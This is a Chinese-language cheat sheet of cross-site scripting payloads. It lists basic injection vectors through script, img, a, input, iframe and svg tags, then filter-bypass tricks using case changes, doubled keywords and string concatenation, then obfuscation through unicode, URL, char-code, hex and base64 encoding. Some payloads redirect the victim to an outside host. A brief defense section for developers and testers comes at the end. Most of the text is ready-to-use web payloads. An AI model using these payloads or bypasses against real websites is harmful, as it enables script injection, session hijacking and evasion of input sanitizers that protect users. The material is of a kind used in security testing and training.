
跨站脚本攻击(XSS)是一种常见的 Web 漏洞,允许攻击者在受害者的浏览器中注入并执行恶意代码。以下是 XSS 攻击的完整总结,包括无过滤情况下的基础 Payload、存在过滤时的绕过技巧以及编码和混淆方法。
一、无过滤情况下的基础 Payload
1. <script>
标签
-
最直接的方式:
html<script>alert("xss");</script>
2. <img>
标签
-
图片加载错误时触发:
html<img src="x" onerror=alert(1)>
-
鼠标悬停或移出时触发:
html<img src=1 onmouseover="alert(1)"> <img src=1 onmouseout="alert(1)">
3. <a>
标签
-
使用伪协议
javascript:
执行代码:html<a href="javascript:alert('xss')">test</a>
-
鼠标悬停时触发:
html<a href="" onmouseover=prompt('xss')>aa</a>
4. <input>
标签
-
利用焦点事件(
onfocus
和onblur
):html<input onfocus="alert('xss');" autofocus> <input onblur=alert("xss") autofocus><input autofocus>
-
键盘事件(
onkeydown
、onkeypress
、onkeyup
):html<input type="text" onkeydown="alert(1)">
5. <form>
标签
-
提交表单时触发:
html<form action=javascript:alert('xss') method="get">
6. <iframe>
标签
-
加载外部资源或嵌入 JavaScript:
html<iframe src=javascript:alert('xss')></iframe> <iframe onload=alert("xss");></iframe>
7. 其他标签
-
<svg>
:html<svg onload=alert(1)>
-
<body>
:html<body onload="alert(1)">
-
<button>
:html<button onclick="alert(1)">text</button>
二、存在过滤情况下的绕过技巧
1. 过滤空格
-
使用
/
或其他符号代替空格:html<img/src="x"/onerror=alert("xss");>
2. 关键字过滤
-
大小写绕过 :
html<ImG sRc=x onerRor=alert("xss");>
-
双写关键字绕过 :
html<imimgg srsrcc=x onerror=alert("xss");>
-
字符拼接 :
html<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
3. 其他字符混淆
-
注释干扰规则:
html<<script>alert("xss");//<</script>
-
利用标签优先级:
html<title><img src=</title>><img src=x onerror="alert(`xss`);">
三、编码与混淆绕过
1. Unicode 编码
-
将字符串转为 Unicode 编码:
html<img src="x" onerror="alert("xss");">
2. URL 编码
-
使用
unescape()
解码:html<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
3. ASCII 码
-
使用
String.fromCharCode()
:html<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
4. Hex 编码
-
使用十六进制表示字符串:
html<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
5. Base64 编码
-
嵌入 Base64 编码内容:
html<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
四、特殊场景绕过
1. 过滤括号
-
使用
throw
绕过:html<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
2. 过滤引号
-
使用反引号代替引号:
html<img src="x" onerror=alert(`xss`);>
3. 过滤 URL 地址
-
使用 URL 编码:
html<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
-
使用 IP 地址:
html<img src="x" onerror=document.location=`http://2130706433/`>
4. 过滤特定字符
-
使用中文逗号代替英文逗号:
html<img src="x" onerror="document.location=`http://www。baidu。com`">
五、总结与建议
通过上述总结可以看出,XSS 攻击的核心在于找到输入点并利用各种方式绕过过滤机制。以下是一些建议:
-
开发者角度:
- 对所有用户输入进行严格的验证和清理。
- 使用 Content Security Policy (CSP) 限制脚本来源。
- 输出时对特殊字符进行 HTML 编码。
-
安全测试人员角度:
- 测试时关注各种可能的输入点,包括隐藏字段和 HTTP 头部。
- 学会使用工具(如 Burp Suite)自动化检测漏洞。
- 不断尝试新的绕过技巧,模拟真实攻击场景。
XSS 是一个复杂但有趣的领域,既需要理论知识的支持,也离不开实践中的不断探索。
希望本文能帮助你更好地理解 XSS 攻击及其防御方法!